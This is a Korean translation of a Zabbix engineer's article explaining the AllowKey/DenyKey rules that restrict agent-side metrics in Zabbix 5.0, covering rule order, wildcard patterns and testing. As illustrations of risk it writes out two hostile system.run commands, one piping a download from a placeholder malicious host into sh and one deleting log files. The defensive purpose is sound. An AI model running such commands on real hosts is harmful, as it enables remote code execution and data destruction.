Zabbix 5.0의 에이전트 측 측정항목에 대한 블랙리스트 및 화이트리스트 지원

에이전트 측 측정항목에 대한 블랙리스트 및 화이트리스트 지원

티콘 우스코프, Zabbix 통합 엔지니어

데이터 보안 문제

Zabbix 5.0에는 Zabbix Agent를 사용하여 시스템의 보안을 향상시키고 이전 매개변수를 대체할 수 있는 새로운 기능이 있습니다. 원격 명령 활성화.

에이전트 기반 시스템의 보안 개선은 에이전트가 잠재적으로 위험한 작업을 많이 수행할 수 있다는 사실에서 비롯됩니다.

• 에이전트는 구성 파일, 로그 파일, 비밀번호 파일 또는 기타 파일에서 기밀 정보나 잠재적으로 위험한 정보를 포함한 거의 모든 정보를 수집할 수 있습니다.

예를 들어, zabbix_get 유틸리티를 사용하면 사용자 목록, 홈 디렉터리, 비밀번호 파일 등에 액세스할 수 있습니다.

zabbix_get 유틸리티를 사용하여 데이터에 액세스

참고. 에이전트가 해당 파일에 대한 읽기 권한을 가지고 있는 경우에만 데이터를 검색할 수 있습니다.. 그러나 예를 들어 파일 /etc/passwd/ 모든 사용자가 읽을 수 있습니다.

• 에이전트는 잠재적으로 위험한 명령을 실행할 수도 있습니다. 예를 들어 키 *시스템.실행[]**를 사용하면 에이전트 측에서도 명령을 실행하는 Zabbix 웹 인터페이스의 스크립트 실행을 포함하여 네트워크 노드에서 원격 명령을 실행할 수 있습니다.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• Linux에서는 에이전트가 기본적으로 루트 권한 없이 실행되는 반면, Windows에서는 시스템 서비스로 실행되며 파일 시스템에 대한 무제한 액세스 권한을 갖습니다. 따라서 설치 후 Zabbix 에이전트 매개변수가 변경되지 않으면 에이전트는 레지스트리, 파일 시스템에 액세스하고 WMI 쿼리를 실행할 수 있습니다.

이전 버전에서는 매개변수 EnableRemoteCommands=0 * 키를 사용하여 측정항목을 비활성화하는 것만 허용됩니다.시스템.실행[]** 웹 인터페이스에서 스크립트를 실행했지만 개별 파일에 대한 액세스를 제한하거나 에이전트와 함께 설치된 개별 키를 허용 또는 비활성화하거나 개별 매개변수의 사용을 제한할 수 있는 방법이 없었습니다.

이전 버전의 Zabbix에서 EnableRemoteCommand 매개변수 사용

허용키/거부키

Zabbix 5.0은 에이전트 측에서 메트릭을 허용 및 거부하기 위한 화이트리스트 및 블랙리스트를 제공하여 이러한 무단 액세스로부터 보호합니다.

Zabbix 5.0에서는 *를 포함한 모든 키시스템.실행[]**가 활성화되었으며 두 가지 새로운 에이전트 구성 옵션이 추가되었습니다.

허용키= - 허용된 수표

거부키= - 금지된 수표

메타 문자(*)를 사용하는 매개변수가 포함된 키 이름 패턴은 어디에 있습니까?

AllowKey 및 DenyKey 키를 사용하면 특정 패턴에 따라 개별 지표를 허용하거나 거부할 수 있습니다. 다른 구성 매개변수와 달리 AllowKey/DenyKey 매개변수의 수는 제한되지 않습니다. 이를 통해 검사 트리(실행 키 작성 순서가 매우 중요한 역할을 함)를 생성하여 시스템에서 에이전트가 수행할 수 있는 작업을 정확히 정의할 수 있습니다.

규칙의 순서

규칙은 구성 파일에 입력된 순서대로 확인됩니다. 첫 번째 일치 전에 규칙에 따라 키를 확인하고, 데이터 요소의 키가 패턴과 일치하는 즉시 허용되거나 거부됩니다. 그 후에는 규칙 검사가 중지되고 나머지 키는 무시됩니다.

따라서 요소가 허용 및 거부 규칙과 모두 일치하는 경우 결과는 구성 파일의 첫 번째 규칙에 따라 달라집니다.

동일한 패턴과 키를 사용하는 2개의 다른 규칙 vfs.file.size[/tmp/파일]

AllowKey/DenyKey 키 사용 순서:

1. 정확한 규칙,
2. 일반 규칙,
3. 금지 규칙.

예를 들어 특정 폴더에 있는 파일에 액세스해야 하는 경우 먼저 해당 파일에 대한 액세스를 허용한 다음 설정된 권한에 속하지 않는 모든 항목을 거부해야 합니다. 거부 규칙을 먼저 사용하면 폴더에 대한 액세스가 거부됩니다.

올바른 순서

*를 통해 2개의 유틸리티를 실행하도록 허용해야 하는 경우시스템.실행[]**, 거부 규칙이 먼저 지정되고 첫 번째 패턴이 항상 모든 키와 일치하고 후속 규칙이 무시되기 때문에 유틸리티가 시작되지 않습니다.

잘못된 순서

패턴

기본 규칙

패턴은 와일드카드가 포함된 표현식입니다. 메타 문자(*)는 특정 위치에 있는 모든 문자와 일치합니다. 메타문자는 키 이름과 매개변수 모두에 사용될 수 있습니다. 예를 들어 첫 번째 매개변수를 텍스트로 엄격하게 정의할 수 있습니다. 다음 항목을 와일드카드로 지정합니다..

매개변수는 대괄호[]로 묶어야 합니다.

• system.run[* - 잘못된
• vfs.file*.txt] - 잘못된
• vfs.file.*[*] - 오른쪽

와일드카드 사용 예.

1. 키 이름과 매개변수에 있습니다. 이 경우 키는 매개변수를 포함하지 않는 유사한 키에 해당하지 않습니다. 패턴에서 우리는 키 이름의 특정 끝 부분과 특정 매개변수 세트를 수신하려고 함을 나타냈기 때문입니다.
2. 패턴이 대괄호를 사용하지 않는 경우 패턴은 매개변수를 포함하지 않는 모든 키를 허용하고 지정된 매개변수를 포함하는 모든 키를 거부합니다.
3. 키가 전체로 작성되고 매개변수가 와일드카드로 지정된 경우 매개변수가 있는 유사한 키와 일치하며 대괄호가 없는 키와 일치하지 않습니다. 즉, 허용되거나 거부됩니다.

매개변수 작성 규칙.

• 매개변수가 있는 키를 사용하려는 경우 구성 파일에 매개변수를 지정해야 합니다. 매개변수는 메타 문자로 지정되어야 합니다. 모든 파일에 대한 액세스를 신중하게 거부하고 매개변수 유무에 관계없이 다양한 철자법으로 메트릭이 제공할 수 있는 정보를 고려해야 합니다.

매개변수를 사용하여 키 쓰기 기능

• 키가 매개변수와 함께 지정되었지만 매개변수가 선택사항이고 메타문자로 지정된 경우 매개변수가 없는 키가 확인됩니다. 예를 들어, CPU 부하에 대한 정보 수신을 비활성화하고 system.cpu.load[*] 키를 비활성화하도록 지정하려면 매개 변수가 없는 키가 평균 부하 값을 반환한다는 점을 잊지 마십시오.

매개변수 입력 규칙

참고

조정

• 일부 규칙(예: 검색 규칙, 에이전트 자동 등록 규칙)은 사용자가 변경할 수 없습니다. AllowKey/DenyKey 규칙은 다음 매개변수에 영향을 주지 않습니다.
  - 호스트 이름항목
  - 호스트메타데이터항목
  - 호스트인터페이스아이템

참고. 관리자가 키를 비활성화한 경우 쿼리 시 Zabbix는 메트릭이나 키가 ' 카테고리에 속하는 이유에 대한 정보를 제공하지 않습니다.지원되지 않음'. 원격 명령 실행 금지에 대한 정보도 에이전트 로그 파일에 표시되지 않습니다. 이는 보안상의 이유이지만 어떤 이유로 측정항목이 지원되지 않는 카테고리에 속하는 경우 디버깅이 복잡해질 수 있습니다..

• 외부 구성 파일을 연결할 때 특정 순서(예: 알파벳순)를 사용해서는 안 됩니다.

명령줄 유틸리티

규칙을 설정한 후에는 모든 것이 올바르게 구성되었는지 확인해야 합니다.

다음 세 가지 옵션 중 하나를 사용할 수 있습니다.

• Zabbix에 지표를 추가합니다.
• 테스트 zabbix_agentd. 옵션이 있는 Zabbix 에이전트 -인쇄(-p) 구성에서 허용되지 않는 키를 제외한 모든 키(기본적으로 허용됨)가 표시됩니다. 그리고 옵션으로 -테스트(-t) 금지된 키는 '를 반환합니다.지원되지 않는 항목 키'.
• 테스트 zabbix_get. 공익사업 zabbix_get 옵션 포함 -k '를 돌려줄 것이다ZBX_NOTSUPPORTED: 알 수 없는 측정항목'.

허용 또는 거부

예를 들어 유틸리티를 사용하여 파일에 대한 액세스를 거부하고 확인할 수 있습니다. zabbix_get해당 파일에 대한 액세스가 거부되었습니다.

**

참고. 매개변수의 따옴표는 무시됩니다..

이 경우 해당 파일에 대한 접근은 다른 경로를 통해 허용될 수 있습니다. 예를 들어 심볼릭 링크가 연결되는 경우입니다.

지정된 규칙을 적용하기 위한 다양한 옵션을 확인하고 금지 사항을 우회할 가능성도 고려하는 것이 좋습니다.

질문과 답변

문제. 규칙, 허가 및 금지 사항을 설명하기 위해 고유한 언어를 사용하는 복잡한 패턴을 선택한 이유는 무엇입니까? 예를 들어 Zabbix에서 사용하는 정규식을 사용할 수 없었던 이유는 무엇입니까?

답변. 일반적으로 에이전트가 하나만 있고 엄청난 수의 측정항목을 확인하므로 이는 정규식 성능 문제입니다. Regex는 상당히 무거운 작업이므로 이 방법으로는 수천 개의 측정항목을 확인할 수 없습니다. 와일드카드 - 보편적이고 널리 사용되는 간단한 솔루션.

문제. 포함파일이 알파벳순으로 포함되어 있지 않나요?

답변. 내가 아는 한, 규칙을 여러 파일에 분산시키는 경우 규칙이 적용될 순서를 예측하는 것은 사실상 불가능합니다. 모든 AllowKey/DenyKey 규칙은 서로 상호 작용하고 이 파일을 포함하므로 하나의 포함 파일에 수집하는 것이 좋습니다..

문제. Zabbix 5.0에서는 '원격 명령 활성화='이 구성 파일에 누락되어 있고 AllowKey/DenyKey만 사용할 수 있습니까?

답변. 네 그렇죠.

감사합니다!

출처 : habr.com